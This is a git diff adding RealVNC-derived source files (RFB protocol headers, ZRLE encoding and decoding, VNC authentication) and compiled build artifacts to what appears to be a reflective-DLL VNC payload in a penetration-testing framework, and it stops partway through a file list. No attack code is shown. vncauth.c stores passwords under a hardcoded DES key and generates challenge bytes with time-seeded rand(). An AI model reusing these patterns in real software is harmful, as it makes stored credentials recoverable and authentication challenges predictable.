* []. + */ + +typedef struct { + CARD32 nSubrects; +} rfbRREHeader; + +#define sz_rfbRREHeader 4 + + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * CoRRE - Compact RRE Encoding. We have an rfbRREHeader structure giving + * the number of subrectangles following. Finally the data follows in the form + * [...] where each is + * []. This means that + * the whole rectangle must be at most 255x255 pixels. + */ + +typedef struct { + CARD8 x; + CARD8 y; + CARD8 w; + CARD8 h; +} rfbCoRRERectangle; + +#define sz_rfbCoRRERectangle 4 + + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * Hextile Encoding. The rectangle is divided up into "tiles" of 16x16 pixels, + * starting at the top left going in left-to-right, top-to-bottom order. If + * the width of the rectangle is not an exact multiple of 16 then the width of + * the last tile in each row will be correspondingly smaller. Similarly if the + * height is not an exact multiple of 16 then the height of each tile in the + * final row will also be smaller. Each tile begins with a "subencoding" type + * byte, which is a mask made up of a number of bits. If the Raw bit is set + * then the other bits are irrelevant; w*h pixel values follow (where w and h + * are the width and height of the tile). Otherwise the tile is encoded in a + * similar way to RRE, except that the position and size of each subrectangle + * can be specified in just two bytes. The other bits in the mask are as + * follows: + * + * BackgroundSpecified - if set, a pixel value follows which specifies + * the background colour for this tile. The first non-raw tile in a + * rectangle must have this bit set. If this bit isn't set then the + * background is the same as the last tile. + * + * ForegroundSpecified - if set, a pixel value follows which specifies + * the foreground colour to be used for all subrectangles in this tile. + * If this bit is set then the SubrectsColoured bit must be zero. + * + * AnySubrects - if set, a single byte follows giving the number of + * subrectangles following. If not set, there are no subrectangles (i.e. + * the whole tile is just solid background colour). + * + * SubrectsColoured - if set then each subrectangle is preceded by a pixel + * value giving the colour of that subrectangle. If not set, all + * subrectangles are the same colour, the foreground colour; if the + * ForegroundSpecified bit wasn't set then the foreground is the same as + * the last tile. + * + * The position and size of each subrectangle is specified in two bytes. The + * Pack macros below can be used to generate the two bytes from x, y, w, h, + * and the Extract macros can be used to extract the x, y, w, h values from + * the two bytes. + */ + +#define rfbHextileRaw (1 << 0) +#define rfbHextileBackgroundSpecified (1 << 1) +#define rfbHextileForegroundSpecified (1 << 2) +#define rfbHextileAnySubrects (1 << 3) +#define rfbHextileSubrectsColoured (1 << 4) + +#define rfbHextilePackXY(x,y) (((x) << 4) | (y)) +#define rfbHextilePackWH(w,h) ((((w)-1) << 4) | ((h)-1)) +#define rfbHextileExtractX(byte) ((byte) >> 4) +#define rfbHextileExtractY(byte) ((byte) & 0xf) +#define rfbHextileExtractW(byte) (((byte) >> 4) + 1) +#define rfbHextileExtractH(byte) (((byte) & 0xf) + 1) + + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * ZRLE - encoding combining Zlib compression, tiling, palettisation and + * run-length encoding. + */ + +typedef struct { + CARD32 length; +} rfbZRLEHeader; + +#define sz_rfbZRLEHeader 4 + +#define rfbZRLETileWidth 64 +#define rfbZRLETileHeight 64 + + +/*----------------------------------------------------------------------------- + * SetColourMapEntries - these messages are only sent if the pixel + * format uses a "colour map" (i.e. trueColour false) and the client has not + * fixed the entire colour map using FixColourMapEntries. In addition they + * will only start being sent after the client has sent its first + * FramebufferUpdateRequest. So if the client always tells the server to use + * trueColour then it never needs to process this type of message. + */ + +typedef struct { + CARD8 type; /* always rfbSetColourMapEntries */ + CARD8 pad; + CARD16 firstColour; + CARD16 nColours; + + /* Followed by nColours * 3 * CARD16 + r1, g1, b1, r2, g2, b2, r3, g3, b3, ..., rn, bn, gn */ + +} rfbSetColourMapEntriesMsg; + +#define sz_rfbSetColourMapEntriesMsg 6 + + + +/*----------------------------------------------------------------------------- + * Bell - ring a bell on the client if it has one. + */ + +typedef struct { + CARD8 type; /* always rfbBell */ +} rfbBellMsg; + +#define sz_rfbBellMsg 1 + + + +/*----------------------------------------------------------------------------- + * ServerCutText - the server has new text in its cut buffer. + */ + +typedef struct { + CARD8 type; /* always rfbServerCutText */ + CARD8 pad1; + CARD16 pad2; + CARD32 length; + /* followed by char text[length] */ +} rfbServerCutTextMsg; + +#define sz_rfbServerCutTextMsg 8 + + +/*----------------------------------------------------------------------------- + * Union of all server->client messages. + */ + +typedef union { + CARD8 type; + rfbFramebufferUpdateMsg fu; + rfbSetColourMapEntriesMsg scme; + rfbBellMsg b; + rfbServerCutTextMsg sct; +} rfbServerToClientMsg; + + + +/***************************************************************************** + * + * Message definitions (client -> server) + * + *****************************************************************************/ + + +/*----------------------------------------------------------------------------- + * SetPixelFormat - tell the RFB server the format in which the client wants + * pixels sent. + */ + +typedef struct { + CARD8 type; /* always rfbSetPixelFormat */ + CARD8 pad1; + CARD16 pad2; + rfbPixelFormat format; +} rfbSetPixelFormatMsg; + +#define sz_rfbSetPixelFormatMsg (sz_rfbPixelFormat + 4) + + +/*----------------------------------------------------------------------------- + * FixColourMapEntries - when the pixel format uses a "colour map", fix + * read-only colour map entries. + * + * ***************** NOT CURRENTLY SUPPORTED ***************** + */ + +typedef struct { + CARD8 type; /* always rfbFixColourMapEntries */ + CARD8 pad; + CARD16 firstColour; + CARD16 nColours; + + /* Followed by nColours * 3 * CARD16 + r1, g1, b1, r2, g2, b2, r3, g3, b3, ..., rn, bn, gn */ + +} rfbFixColourMapEntriesMsg; + +#define sz_rfbFixColourMapEntriesMsg 6 + + +/*----------------------------------------------------------------------------- + * SetEncodings - tell the RFB server which encoding types we accept. Put them + * in order of preference, if we have any. We may always receive raw + * encoding, even if we don't specify it here. + */ + +typedef struct { + CARD8 type; /* always rfbSetEncodings */ + CARD8 pad; + CARD16 nEncodings; + /* followed by nEncodings * CARD32 encoding types */ +} rfbSetEncodingsMsg; + +#define sz_rfbSetEncodingsMsg 4 + + +/*----------------------------------------------------------------------------- + * FramebufferUpdateRequest - request for a framebuffer update. If incremental + * is true then the client just wants the changes since the last update. If + * false then it wants the whole of the specified rectangle. + */ + +typedef struct { + CARD8 type; /* always rfbFramebufferUpdateRequest */ + CARD8 incremental; + CARD16 x; + CARD16 y; + CARD16 w; + CARD16 h; +} rfbFramebufferUpdateRequestMsg; + +#define sz_rfbFramebufferUpdateRequestMsg 10 + + +/*----------------------------------------------------------------------------- + * KeyEvent - key press or release + * + * Keys are specified using the "keysym" values defined by the X Window System. + * For most ordinary keys, the keysym is the same as the corresponding ASCII + * value. Other common keys are: + * + * BackSpace 0xff08 + * Tab 0xff09 + * Return or Enter 0xff0d + * Escape 0xff1b + * Insert 0xff63 + * Delete 0xffff + * Home 0xff50 + * End 0xff57 + * Page Up 0xff55 + * Page Down 0xff56 + * Left 0xff51 + * Up 0xff52 + * Right 0xff53 + * Down 0xff54 + * F1 0xffbe + * F2 0xffbf + * ... ... + * F12 0xffc9 + * Shift 0xffe1 + * Control 0xffe3 + * Meta 0xffe7 + * Alt 0xffe9 + */ + +typedef struct { + CARD8 type; /* always rfbKeyEvent */ + CARD8 down; /* true if down (press), false if up */ + CARD16 pad; + CARD32 key; /* key is specified as an X keysym */ +} rfbKeyEventMsg; + +#define sz_rfbKeyEventMsg 8 + + +/*----------------------------------------------------------------------------- + * PointerEvent - mouse/pen move and/or button press. + */ + +typedef struct { + CARD8 type; /* always rfbPointerEvent */ + CARD8 buttonMask; /* bits 0-7 are buttons 1-8, 0=up, 1=down */ + CARD16 x; + CARD16 y; +} rfbPointerEventMsg; + +#define rfbButton1Mask 1 +#define rfbButton2Mask 2 +#define rfbButton3Mask 4 +#define rfbButton4Mask 8 +#define rfbButton5Mask 16 +#define rfbWheelUpMask rfbButton4Mask +#define rfbWheelDownMask rfbButton5Mask + +#define sz_rfbPointerEventMsg 6 + + + +/*----------------------------------------------------------------------------- + * ClientCutText - the client has new text in its cut buffer. + */ + +typedef struct { + CARD8 type; /* always rfbClientCutText */ + CARD8 pad1; + CARD16 pad2; + CARD32 length; + /* followed by char text[length] */ +} rfbClientCutTextMsg; + +#define sz_rfbClientCutTextMsg 8 + + + +/*----------------------------------------------------------------------------- + * Union of all client->server messages. + */ + +typedef union { + CARD8 type; + rfbSetPixelFormatMsg spf; + rfbFixColourMapEntriesMsg fcme; + rfbSetEncodingsMsg se; + rfbFramebufferUpdateRequestMsg fur; + rfbKeyEventMsg ke; + rfbPointerEventMsg pe; + rfbClientCutTextMsg cct; +} rfbClientToServerMsg; diff --git a/external/source/reflective_vncdll/rfb/vncauth.c b/external/source/reflective_vncdll/rfb/vncauth.c new file mode 100644 index 0000000000..a3cf820e4a --- /dev/null +++ b/external/source/reflective_vncdll/rfb/vncauth.c @@ -0,0 +1,164 @@ +/* + * Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +/* + * vncauth.c - Functions for VNC password management and authentication. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include "d3des.h" + + +/* + * We use a fixed key to store passwords, since we assume that our local + * file system is secure but nonetheless don't want to store passwords + * as plaintext. + */ + +unsigned char fixedkey[8] = {23,82,107,6,35,78,88,7}; + + +/* + * Encrypt a password and store it in a file. Returns 0 if successful, + * 1 if the file could not be written. + */ + +int +vncEncryptAndStorePasswd(char *passwd, char *fname) +{ + FILE *fp; + int i; + unsigned char encryptedPasswd[8]; + + if ((fp = fopen(fname,"w")) == NULL) return 1; + + chmod(fname, S_IRUSR|S_IWUSR); + + /* pad password with nulls */ + + for (i = 0; i < 8; i++) { + if (i < strlen(passwd)) { + encryptedPasswd[i] = passwd[i]; + } else { + encryptedPasswd[i] = 0; + } + } + + /* Do encryption in-place - this way we overwrite our copy of the plaintext + password */ + + deskey(fixedkey, EN0); + des(encryptedPasswd, encryptedPasswd); + + for (i = 0; i < 8; i++) { + putc(encryptedPasswd[i], fp); + } + + fclose(fp); + return 0; +} + + +/* + * Decrypt a password from a file. Returns a pointer to a newly allocated + * string containing the password or a null pointer if the password could + * not be retrieved for some reason. + */ + +char * +vncDecryptPasswdFromFile(char *fname) +{ + FILE *fp; + int i, ch; + unsigned char *passwd = (unsigned char *)malloc(9); + + if ((fp = fopen(fname,"r")) == NULL) return NULL; + + for (i = 0; i < 8; i++) { + ch = getc(fp); + if (ch == EOF) { + fclose(fp); + return NULL; + } + passwd[i] = ch; + } + + fclose(fp); + + deskey(fixedkey, DE1); + des(passwd, passwd); + + passwd[8] = 0; + + return (char *)passwd; +} + + +/* + * Generate CHALLENGESIZE random bytes for use in challenge-response + * authentication. + */ + +void +vncRandomBytes(unsigned char *bytes) +{ + int i; + unsigned int seed = (unsigned int) time(0) + getpid() + rand(); + + srand(seed); + for (i = 0; i < CHALLENGESIZE; i++) { + bytes[i] = (unsigned char)(rand() & 255); + } +} + + +/* + * Encrypt CHALLENGESIZE bytes in memory using a password. + */ + +void +vncEncryptBytes(unsigned char *bytes, char *passwd) +{ + unsigned char key[8]; + unsigned int i; + + /* key is simply password padded with nulls */ + + for (i = 0; i < 8; i++) { + if (i < strlen(passwd)) { + key[i] = passwd[i]; + } else { + key[i] = 0; + } + } + + deskey(key, EN0); + + for (i = 0; i < CHALLENGESIZE; i += 8) { + des(bytes+i, bytes+i); + } +} diff --git a/external/source/reflective_vncdll/rfb/vncauth.h b/external/source/reflective_vncdll/rfb/vncauth.h new file mode 100644 index 0000000000..f26c3c57a6 --- /dev/null +++ b/external/source/reflective_vncdll/rfb/vncauth.h @@ -0,0 +1,30 @@ +/* + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +/* + * vncauth.h - describes the functions provided by the vncauth library. + */ + +#define MAXPWLEN 8 +#define CHALLENGESIZE 16 + +extern int vncEncryptAndStorePasswd(char *passwd, char *fname); +extern char *vncDecryptPasswdFromFile(char *fname); +extern void vncRandomBytes(unsigned char *bytes); +extern void vncEncryptBytes(unsigned char *bytes, char *passwd); diff --git a/external/source/reflective_vncdll/rfb/zrleDecode.h b/external/source/reflective_vncdll/rfb/zrleDecode.h new file mode 100644 index 0000000000..7a32cf3fdf --- /dev/null +++ b/external/source/reflective_vncdll/rfb/zrleDecode.h @@ -0,0 +1,241 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +// +// zrleDecode.h - zrle decoding function. +// +// Before including this file, you must define a number of CPP macros. +// +// BPP should be 8, 16 or 32 depending on the bits per pixel. +// FILL_RECT +// IMAGE_RECT + +#include +#include +#include + +using namespace rdr; + +/* __RFB_CONCAT2 concatenates its two arguments. __RFB_CONCAT2E does the same + but also expands its arguments if they are macros */ + +#ifndef __RFB_CONCAT2E +#define __RFB_CONCAT2(a,b) a##b +#define __RFB_CONCAT2E(a,b) __RFB_CONCAT2(a,b) +#endif + +#ifdef CPIXEL +#define PIXEL_T __RFB_CONCAT2E(rdr::U,BPP) +#define READ_PIXEL __RFB_CONCAT2E(readOpaque,CPIXEL) +#define ZRLE_DECODE_BPP __RFB_CONCAT2E(zrleDecode,CPIXEL) +#else +#define PIXEL_T __RFB_CONCAT2E(rdr::U,BPP) +#define READ_PIXEL __RFB_CONCAT2E(readOpaque,BPP) +#define ZRLE_DECODE_BPP __RFB_CONCAT2E(zrleDecode,BPP) +#endif + +void ZRLE_DECODE_BPP (int x, int y, int w, int h, rdr::InStream* is, + rdr::ZlibInStream* zis, PIXEL_T* buf) +{ + int length = is->readU32(); + zis->setUnderlying(is, length); + + for (int ty = y; ty < y+h; ty += rfbZRLETileHeight) { + int th = rfbZRLETileHeight; + if (th > y+h-ty) th = y+h-ty; + for (int tx = x; tx < x+w; tx += rfbZRLETileWidth) { + int tw = rfbZRLETileWidth; + if (tw > x+w-tx) tw = x+w-tx; + + int mode = zis->readU8(); + bool rle = mode & 128; + int palSize = mode & 127; + PIXEL_T palette[128]; + + // fprintf(stderr,"rle %d palSize %d\n",rle,palSize); + + for (int i = 0; i < palSize; i++) { + palette[i] = zis->READ_PIXEL(); + } + + if (palSize == 1) { + PIXEL_T pix = palette[0]; + FILL_RECT(tx,ty,tw,th,pix); + continue; + } + + if (!rle) { + if (palSize == 0) { + + // raw + +#ifdef CPIXEL + for (PIXEL_T* ptr = buf; ptr < buf+tw*th; ptr++) { + *ptr = zis->READ_PIXEL(); + } +#else + zis->readBytes(buf, tw * th * (BPP / 8)); +#endif + + } else { + + // packed pixels + int bppp = ((palSize > 16) ? 8 : + ((palSize > 4) ? 4 : ((palSize > 2) ? 2 : 1))); + + PIXEL_T* ptr = buf; + + for (int i = 0; i < th; i++) { + PIXEL_T* eol = ptr + tw; + U8 byte = 0; + U8 nbits = 0; + + while (ptr < eol) { + if (nbits == 0) { + byte = zis->readU8(); + nbits = 8; + } + nbits -= bppp; + U8 index = (byte >> nbits) & ((1 << bppp) - 1) & 127; + *ptr++ = palette[index]; + } + } + } + +#ifdef FAVOUR_FILL_RECT + //fprintf(stderr,"copying data to screen %dx%d at %d,%d\n",tw,th,tx,ty); + IMAGE_RECT(tx,ty,tw,th,buf); +#endif + + } else { + + if (palSize == 0) { + + // plain RLE + + PIXEL_T* ptr = buf; + PIXEL_T* end = ptr + th * tw; + while (ptr < end) { + PIXEL_T pix = zis->READ_PIXEL(); + int len = 1; + int b; + do { + b = zis->readU8(); + len += b; + } while (b == 255); + + assert(len <= end - ptr); + +#ifdef FAVOUR_FILL_RECT + int i = ptr - buf; + ptr += len; + + int runX = i % tw; + int runY = i / tw; + + if (runX + len > tw) { + if (runX != 0) { + FILL_RECT(tx+runX, ty+runY, tw-runX, 1, pix); + len -= tw-runX; + runX = 0; + runY++; + } + + if (len > tw) { + FILL_RECT(tx, ty+runY, tw, len/tw, pix); + runY += len / tw; + len = len % tw; + } + } + + if (len != 0) { + FILL_RECT(tx+runX, ty+runY, len, 1, pix); + } +#else + while (len-- > 0) *ptr++ = pix; +#endif + + } + } else { + + // palette RLE + + PIXEL_T* ptr = buf; + PIXEL_T* end = ptr + th * tw; + while (ptr < end) { + int index = zis->readU8(); + int len = 1; + if (index & 128) { + int b; + do { + b = zis->readU8(); + len += b; + } while (b == 255); + + assert(len <= end - ptr); + } + + index &= 127; + + PIXEL_T pix = palette[index]; + +#ifdef FAVOUR_FILL_RECT + int i = ptr - buf; + ptr += len; + + int runX = i % tw; + int runY = i / tw; + + if (runX + len > tw) { + if (runX != 0) { + FILL_RECT(tx+runX, ty+runY, tw-runX, 1, pix); + len -= tw-runX; + runX = 0; + runY++; + } + + if (len > tw) { + FILL_RECT(tx, ty+runY, tw, len/tw, pix); + runY += len / tw; + len = len % tw; + } + } + + if (len != 0) { + FILL_RECT(tx+runX, ty+runY, len, 1, pix); + } +#else + while (len-- > 0) *ptr++ = pix; +#endif + } + } + } + +#ifndef FAVOUR_FILL_RECT + //fprintf(stderr,"copying data to screen %dx%d at %d,%d\n",tw,th,tx,ty); + IMAGE_RECT(tx,ty,tw,th,buf); +#endif + } + } + + zis->reset(); +} + +#undef ZRLE_DECODE_BPP +#undef READ_PIXEL +#undef PIXEL_T diff --git a/external/source/reflective_vncdll/rfb/zrleEncode.h b/external/source/reflective_vncdll/rfb/zrleEncode.h new file mode 100644 index 0000000000..bca145302f --- /dev/null +++ b/external/source/reflective_vncdll/rfb/zrleEncode.h @@ -0,0 +1,310 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +// +// zrleEncode.h - zrle encoding function. +// +// Before including this file, you must define a number of CPP macros. +// +// BPP should be 8, 16 or 32 depending on the bits per pixel. +// GET_IMAGE_INTO_BUF should be some code which gets a rectangle of pixel data +// into the given buffer. EXTRA_ARGS can be defined to pass any other +// arguments needed by GET_IMAGE_INTO_BUF. +// +// Note that the buf argument to ZRLE_ENCODE needs to be at least one pixel +// bigger than the largest tile of pixel data, since the ZRLE encoding +// algorithm writes to the position one past the end of the pixel data. +// + +#include +#include + +using namespace rdr; + +/* __RFB_CONCAT2 concatenates its two arguments. __RFB_CONCAT2E does the same + but also expands its arguments if they are macros */ + +#ifndef __RFB_CONCAT2E +#define __RFB_CONCAT2(a,b) a##b +#define __RFB_CONCAT2E(a,b) __RFB_CONCAT2(a,b) +#endif + +#ifdef CPIXEL +#define PIXEL_T __RFB_CONCAT2E(rdr::U,BPP) +#define WRITE_PIXEL __RFB_CONCAT2E(writeOpaque,CPIXEL) +#define ZRLE_ENCODE __RFB_CONCAT2E(zrleEncode,CPIXEL) +#define ZRLE_ENCODE_TILE __RFB_CONCAT2E(zrleEncodeTile,CPIXEL) +#define BPPOUT 24 +#else +#define PIXEL_T __RFB_CONCAT2E(rdr::U,BPP) +#define WRITE_PIXEL __RFB_CONCAT2E(writeOpaque,BPP) +#define ZRLE_ENCODE __RFB_CONCAT2E(zrleEncode,BPP) +#define ZRLE_ENCODE_TILE __RFB_CONCAT2E(zrleEncodeTile,BPP) +#define BPPOUT BPP +#endif + +#ifndef ZRLE_ONCE +#define ZRLE_ONCE +static const int bitsPerPackedPixel[] = { + 0, 1, 2, 2, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4 +}; + +// The PaletteHelper class helps us build up the palette from pixel data by +// storing a reverse index using a simple hash-table + +class PaletteHelper { +public: + enum { MAX_SIZE = 127 }; + + PaletteHelper() + { + memset(index, 255, sizeof(index)); + size = 0; + } + + inline int hash(rdr::U32 pix) + { + return (pix ^ (pix >> 17)) & 4095; + } + + inline void insert(rdr::U32 pix) + { + if (size < MAX_SIZE) { + int i = hash(pix); + while (index[i] != 255 && key[i] != pix) + i++; + if (index[i] != 255) return; + + index[i] = size; + key[i] = pix; + palette[size] = pix; + } + size++; + } + + inline int lookup(rdr::U32 pix) + { + assert(size <= MAX_SIZE); + int i = hash(pix); + while (index[i] != 255 && key[i] != pix) + i++; + if (index[i] != 255) return index[i]; + return -1; + } + + rdr::U32 palette[MAX_SIZE]; + rdr::U8 index[4096+MAX_SIZE]; + rdr::U32 key[4096+MAX_SIZE]; + int size; +}; +#endif + +void ZRLE_ENCODE_TILE (PIXEL_T* data, int w, int h, rdr::OutStream* os); + +void ZRLE_ENCODE (int x, int y, int w, int h, rdr::OutStream* os, + rdr::ZlibOutStream* zos, void* buf + EXTRA_ARGS + ) +{ + zos->setUnderlying(os); + + for (int ty = y; ty < y+h; ty += rfbZRLETileHeight) { + int th = rfbZRLETileHeight; + if (th > y+h-ty) th = y+h-ty; + for (int tx = x; tx < x+w; tx += rfbZRLETileWidth) { + int tw = rfbZRLETileWidth; + if (tw > x+w-tx) tw = x+w-tx; + + GET_IMAGE_INTO_BUF(tx,ty,tw,th,buf); + + ZRLE_ENCODE_TILE((PIXEL_T*)buf, tw, th, zos); + } + } + zos->flush(); +} + + +void ZRLE_ENCODE_TILE (PIXEL_T* data, int w, int h, rdr::OutStream* os) +{ + // First find the palette and the number of runs + + PaletteHelper ph; + + int runs = 0; + int singlePixels = 0; + + PIXEL_T* ptr = data; + PIXEL_T* end = ptr + h * w; + *end = ~*(end-1); // one past the end is different so the while loop ends + + while (ptr < end) { + PIXEL_T pix = *ptr; + if (*++ptr != pix) { + singlePixels++; + } else { + while (*++ptr == pix) ; + runs++; + } + ph.insert(pix); + } + + //fprintf(stderr,"runs %d, single pixels %d, paletteSize %d\n", + // runs, singlePixels, ph.size); + + // Solid tile is a special case + + if (ph.size == 1) { + os->writeU8(1); + os->WRITE_PIXEL(ph.palette[0]); + return; + } + + // Try to work out whether to use RLE and/or a palette. We do this by + // estimating the number of bytes which will be generated and picking the + // method which results in the fewest bytes. Of course this may not result + // in the fewest bytes after compression... + + bool useRle = false; + bool usePalette = false; + + int estimatedBytes = w * h * (BPPOUT/8); // start assuming raw + + int plainRleBytes = ((BPPOUT/8)+1) * (runs + singlePixels); + + if (plainRleBytes < estimatedBytes) { + useRle = true; + estimatedBytes = plainRleBytes; + } + + if (ph.size < 128) { + int paletteRleBytes = (BPPOUT/8) * ph.size + 2 * runs + singlePixels; + + if (paletteRleBytes < estimatedBytes) { + useRle = true; + usePalette = true; + estimatedBytes = paletteRleBytes; + } + + if (ph.size < 17) { + int packedBytes = ((BPPOUT/8) * ph.size + + w * h * bitsPerPackedPixel[ph.size-1] / 8); + + if (packedBytes < estimatedBytes) { + useRle = false; + usePalette = true; + estimatedBytes = packedBytes; + } + } + } + + if (!usePalette) ph.size = 0; + + os->writeU8((useRle ? 128 : 0) | ph.size); + + for (int i = 0; i < ph.size; i++) { + os->WRITE_PIXEL(ph.palette[i]); + } + + if (useRle) { + + PIXEL_T* ptr = data; + PIXEL_T* end = ptr + w * h; + PIXEL_T* runStart; + PIXEL_T pix; + while (ptr < end) { + runStart = ptr; + pix = *ptr++; + while (*ptr == pix && ptr < end) + ptr++; + int len = ptr - runStart; + if (len <= 2 && usePalette) { + int index = ph.lookup(pix); + if (len == 2) + os->writeU8(index); + os->writeU8(index); + continue; + } + if (usePalette) { + int index = ph.lookup(pix); + os->writeU8(index | 128); + } else { + os->WRITE_PIXEL(pix); + } + len -= 1; + while (len >= 255) { + os->writeU8(255); + len -= 255; + } + os->writeU8(len); + } + + } else { + + // no RLE + + if (usePalette) { + + // packed pixels + + assert (ph.size < 17); + + int bppp = bitsPerPackedPixel[ph.size-1]; + + PIXEL_T* ptr = data; + + for (int i = 0; i < h; i++) { + U8 nbits = 0; + U8 byte = 0; + + PIXEL_T* eol = ptr + w; + + while (ptr < eol) { + PIXEL_T pix = *ptr++; + U8 index = ph.lookup(pix); + byte = (byte << bppp) | index; + nbits += bppp; + if (nbits >= 8) { + os->writeU8(byte); + nbits = 0; + } + } + if (nbits > 0) { + byte <<= 8 - nbits; + os->writeU8(byte); + } + } + } else { + + // raw + +#ifdef CPIXEL + for (PIXEL_T* ptr = data; ptr < data+w*h; ptr++) { + os->WRITE_PIXEL(*ptr); + } +#else + os->writeBytes(data, w*h*(BPP/8)); +#endif + } + } +} + +#undef PIXEL_T +#undef WRITE_PIXEL +#undef ZRLE_ENCODE +#undef ZRLE_ENCODE_TILE +#undef BPPOUT diff --git a/external/source/reflective_vncdll/winvnc/Release/BuildLog.htm b/external/source/reflective_vncdll/winvnc/Release/BuildLog.htm new file mode 100644 index 0000000000..0bb944ab58 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/BuildLog.htm differ diff --git a/external/source/reflective_vncdll/winvnc/Release/RCa03620 b/external/source/reflective_vncdll/winvnc/Release/RCa03620 new file mode 100644 index 0000000000..862bfd4c6f Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/RCa03620 differ diff --git a/external/source/reflective_vncdll/winvnc/Release/ReflectiveLoader.obj b/external/source/reflective_vncdll/winvnc/Release/ReflectiveLoader.obj new file mode 100644 index 0000000000..3913c945d9 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/ReflectiveLoader.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/ReflectiveLoader.sbr b/external/source/reflective_vncdll/winvnc/Release/ReflectiveLoader.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/buildtime.obj b/external/source/reflective_vncdll/winvnc/Release/buildtime.obj new file mode 100644 index 0000000000..27ab5f9300 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/buildtime.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/buildtime.sbr b/external/source/reflective_vncdll/winvnc/Release/buildtime.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/d3des.obj b/external/source/reflective_vncdll/winvnc/Release/d3des.obj new file mode 100644 index 0000000000..847833f49b Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/d3des.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/d3des.sbr b/external/source/reflective_vncdll/winvnc/Release/d3des.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/mt.dep b/external/source/reflective_vncdll/winvnc/Release/mt.dep new file mode 100644 index 0000000000..da1fede4c8 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/Release/mt.dep @@ -0,0 +1 @@ +Manifest resource last updated at 16:28:39.34 on 09/09/2008 diff --git a/external/source/reflective_vncdll/winvnc/Release/nt.obj b/external/source/reflective_vncdll/winvnc/Release/nt.obj new file mode 100644 index 0000000000..1cba206c55 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/nt.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/nt.sbr b/external/source/reflective_vncdll/winvnc/Release/nt.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/rfbRegion_X11.obj b/external/source/reflective_vncdll/winvnc/Release/rfbRegion_X11.obj new file mode 100644 index 0000000000..d49a425de5 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/rfbRegion_X11.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/rfbRegion_X11.sbr b/external/source/reflective_vncdll/winvnc/Release/rfbRegion_X11.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/rfbUpdateTracker.obj b/external/source/reflective_vncdll/winvnc/Release/rfbUpdateTracker.obj new file mode 100644 index 0000000000..938f9181a4 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/rfbUpdateTracker.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/rfbUpdateTracker.sbr b/external/source/reflective_vncdll/winvnc/Release/rfbUpdateTracker.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/stdhdrs.obj b/external/source/reflective_vncdll/winvnc/Release/stdhdrs.obj new file mode 100644 index 0000000000..10fb901a60 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/stdhdrs.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/stdhdrs.sbr 